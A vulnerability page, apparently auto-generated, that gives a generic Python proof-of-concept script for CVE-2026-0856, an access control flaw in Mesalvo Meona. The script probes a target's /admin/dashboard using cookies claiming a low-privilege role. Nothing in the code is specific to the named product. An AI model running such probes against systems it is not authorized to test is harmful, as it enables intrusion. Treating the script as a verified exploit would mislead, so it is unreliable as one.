CVE-2026-0856 Mesalvo Meona访问控制漏洞

# Proof of Concept for CVE-2026-0856 # This script demonstrates the improper access control vulnerability # where a low-privileged user can access the admin panel. import requests def check_vulnerability(target_url): # Simulate a session for a standard low-privilege user session = requests.Session() # In a real scenario, valid session cookies or tokens would be used here session.cookies.update({'user_role': 'standard_user', 'session_id': 'poc_test'}) try: # Attempt to access the admin panel directly admin_endpoint = f"{target_url}/admin/dashboard" response = session.get(admin_endpoint, timeout=10) # Check if access was granted (HTTP 200 OK and admin content present) if response.status_code == 200 and "Admin Panel" in response.text: print("[+] Vulnerability Confirmed!") print("[+] Low-privilege user successfully accessed the admin panel.") return True else: print("[-] Access denied or vulnerability patched.") return False except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") return False if __name__ == "__main__": target = "http://127.0.0.1:8080" # Replace with actual target IP/URL check_vulnerability(target)